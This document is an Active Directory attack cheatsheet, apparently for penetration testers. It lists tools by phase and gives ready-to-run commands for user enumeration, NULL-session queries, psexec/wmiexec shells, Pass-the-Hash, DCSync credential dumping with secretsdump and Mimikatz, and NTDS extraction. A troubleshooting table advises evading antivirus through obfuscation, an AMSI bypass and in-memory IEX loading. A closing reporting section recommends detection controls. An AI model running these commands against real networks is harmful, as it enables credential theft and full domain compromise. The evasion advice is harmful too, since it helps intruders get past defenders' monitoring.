πŸ›‘οΈ Methodology Checklist

  • Unauthenticated phase: Kerbrute, rpcclient NULL, enum4linux-ng
  • First credential: BloodHound.py, PowerView, Snaffler, GetUserSPNs
  • Lateral movement: Impacket psexec/wmiexec/smbexec, evil-winrm, NXC
  • Domain compromise: secretsdump DCSync, Mimikatz DCSync, NTDS dump
  • Kerberos attacks: Rubeus (Windows), impacket-GetUserSPNs/GetNPUsers (Linux)
  • ACL abuse: PowerView + BloodHound ACL edges
  • Select tool based on OS context and EDR presence

🎯 Operational Context

Use when: Selecting the right AD enumeration tool for current access level and constraints β€” quick lookup for PowerView vs ldapsearch vs BloodHound vs native. Think Dumber First: Use BloodHound first if you have any creds. PowerView for targeted property queries. Native commands when tools are blocked. Match tool to access level β€” don’t use credentialed tools before you have creds. Skip when: N/A β€” this is a reference document.


⚑ Tactical Cheatsheet

ToolPrimary Use
PowerView.ps1 / SharpViewAD situational awareness, targeted object queries, Kerberoastable/ASREPRoastable user finding
BloodHoundVisual AD relationship mapping, shortest attack path discovery
SharpHound.exeC# BloodHound data collector β€” generates JSON for BH import
BloodHound.pyPython BH ingestor β€” runs from non-domain-joined attack box
KerbruteKerberos pre-auth user enumeration, password spraying, brute force
ImpacketPython toolkit β€” covers nearly all AD attack surfaces
ResponderLLMNR/NBT-NS/MDNS poisoner β€” captures NTLMv2 hashes
Inveigh.ps1 / InveighZeroWindows-based LLMNR poisoner (PowerShell/C#)
RubeusKerberos abuse tool β€” Kerberoasting, AS-REP, Pass-the-Ticket, S4U
MimikatzLSASS dump, PtH, plaintext extraction, Kerberos ticket extraction
CrackMapExec / NetExec (nxc)SMB/WMI/WinRM enumeration, spray, dump, lateral movement
evil-winrmInteractive WinRM shell
rpcclientRPC-based AD enumeration from Linux
enum4linux / enum4linux-ngSMB/Samba AD enumeration
ldapsearch / windapsearchLDAP queries for AD objects
SnafflerFile share credential/secret hunting across AD
secretsdump.pyRemote SAM/LSA/NTDS dump
psexec.pySemi-interactive shell via SMB
wmiexec.pyCommand execution via WMI
smbclient.py / smbmapShare enumeration, file access
GetUserSPNs.pyKerberoasting (list SPN accounts + request TGS)
GetNPUsers.pyASREPRoasting (list + dump AS-REP hashes)
ntlmrelayx.pyNTLM relay attacks
PetitPotam.pyNTLM coercion via MS-EFSRPC
noPac.pyCVE-2021-42278/42287 machine account β†’ DA impersonation
mssqlclient.pyMSSQL interaction (xp_cmdshell, xp_dirtree)
lookupsid.pySID brute-force for RID enumeration
ticketer.pyTGT/TGS ticket creation and customization
gettgtpkinit.pyCertificate β†’ TGT (ADCS attacks)
getnthash.pyTGT β†’ NT hash via U2U (Shadow Credentials)
DomainPasswordSpray.ps1PowerShell domain password spraying
LAPSToolkitLAPS auditing and password retrieval
gpp-decryptDecrypt Group Policy Preferences cpassword
adidnsdumpAD-integrated DNS zone dump
PingCastleAD security risk assessment (CMMI-based)
Group3rGPO misconfiguration auditing
ADReconAD data extraction to Excel format
setspn.exeRead/modify/delete SPNs on AD service accounts
raiseChild.pyChild-to-parent domain privilege escalation
rpcdump.pyRPC endpoint mapper
smbserver.pyInstant SMB server for file transfer
AD ExplorerGUI AD viewer/editor + offline snapshot comparison

πŸ”¬ Deep Dive & Workflow

Tool Selection by Phase

Unauthenticated / NULL Session Phase:

kerbrute userenum --dc [DC_IP] -d [DOMAIN] userlist.txt   # user enum via Kerberos
nxc smb [DC_IP] -u '' -p '' --users                       # NULL session user list
rpcclient -U "" -N [DC_IP]                                 # NULL session RPC
enum4linux-ng [DC_IP]                                      # full SMB/RPC enum

First Credential β€” Enumeration Phase:

# BloodHound data collection
bloodhound-python -u [USER] -p [PASS] -d [DOMAIN] -ns [DC_IP] -c All
 
# Or via SharpHound (from Windows):
.\SharpHound.exe -c All --zipfilename loot.zip
 
# PowerView targeted queries:
Get-DomainUser -SPN         # Kerberoastable
Get-DomainUser -PreauthNotRequired  # ASREPRoastable
Get-DomainGroup -AdminCount
Get-DomainComputer -Unconstrained    # Unconstrained delegation
 
# Snaffler for share cred hunting:
.\Snaffler.exe -s -o snaffler_output.txt

Lateral Movement Phase:

# Impacket lateral movement options:
impacket-psexec [DOMAIN]/[USER]:[PASS]@[TARGET_IP]
impacket-wmiexec [DOMAIN]/[USER]:[PASS]@[TARGET_IP]
impacket-smbexec [DOMAIN]/[USER]:[PASS]@[TARGET_IP]
evil-winrm -i [TARGET_IP] -u [USER] -p [PASS]
 
# Pass-the-Hash:
impacket-psexec [DOMAIN]/[USER]@[TARGET_IP] -hashes :[NTLM_HASH]
nxc smb [TARGET_IP] -u [USER] -H [NTLM_HASH]

Domain Compromise Phase:

# DCSync (from Linux):
impacket-secretsdump [DOMAIN]/[USER]:[PASS]@[DC_IP] -just-dc-ntlm
 
# Mimikatz DCSync (from Windows):
lsadump::dcsync /user:[DOMAIN]\[USER]
lsadump::dcsync /all /csv
 
# NTDS.dit dump:
nxc smb [DC_IP] -u [USER] -p [PASS] --ntds

Impacket Quick Reference

# Most used impacket scripts:
impacket-secretsdump   # dump SAM/LSA/NTDS
impacket-psexec        # SMB SYSTEM shell
impacket-wmiexec       # WMI exec (SYSTEM)
impacket-smbexec       # Service exec
impacket-mssqlclient   # MSSQL interactive
impacket-ntlmrelayx    # NTLM relay
impacket-GetUserSPNs   # Kerberoast
impacket-GetNPUsers    # ASREPRoast
impacket-lookupsid     # RID brute
impacket-ticketer      # Ticket forge
impacket-smbserver     # Quick SMB share
impacket-rpcdump       # RPC endpoint map

BloodHound Key Queries

"Shortest Paths to Domain Admins"
"Shortest Paths to Domain Admins from Owned Principals"
"Find Computers with Unconstrained Delegation"
"Find AS-REP Roastable Users"
"Shortest Paths from Kerberoastable Users"
"Users with DCSync Rights"
"Transitive Object Control" (for ACL abuse chains)

πŸ› οΈ Troubleshooting & Edge Cases

ProblemCauseFix
Unsure which tool to useAccess level unclearDetermine: unauthenticated β†’ enum4linux; creds Linux β†’ ldapdomaindump/bloodhound-python; creds Windows β†’ SharpHound/PowerView
Tool blocked by AVDefault signaturesRename binary, obfuscate, or use AMSI bypass; PowerView can be loaded via IEX from memory
BloodHound data staleCollected too earlyRe-run SharpHound after privilege escalation to capture new ACL edges visible with higher privileges
ldapsearch returns too much dataNo filter appliedFilter: ldapsearch -x ... '(objectClass=user)' sAMAccountName β€” limit attributes returned
Tool version mismatchSharpHound vs BloodHound CE incompatibilityMatch versions: BloodHound CE requires SharpHound 2.x; Legacy BloodHound uses SharpHound 1.x

πŸ“ Reporting Trigger

Finding Title: AD Enumeration Toolset Provides Comprehensive Domain Visibility Impact: The combination of BloodHound, PowerView, ldapdomaindump, and native LDAP queries provides complete AD attack surface mapping including shortest paths to Domain Admin, Kerberoastable accounts, and ACL abuse opportunities. Root Cause: Legitimate AD enumeration tools are dual-use and indistinguishable from normal IT administration at the protocol level. Recommendation: Implement Microsoft Defender for Identity to detect tool-specific query patterns. Alert on SharpHound LDAP collection signatures. Enforce least-privilege AD read permissions to limit data returned to standard users.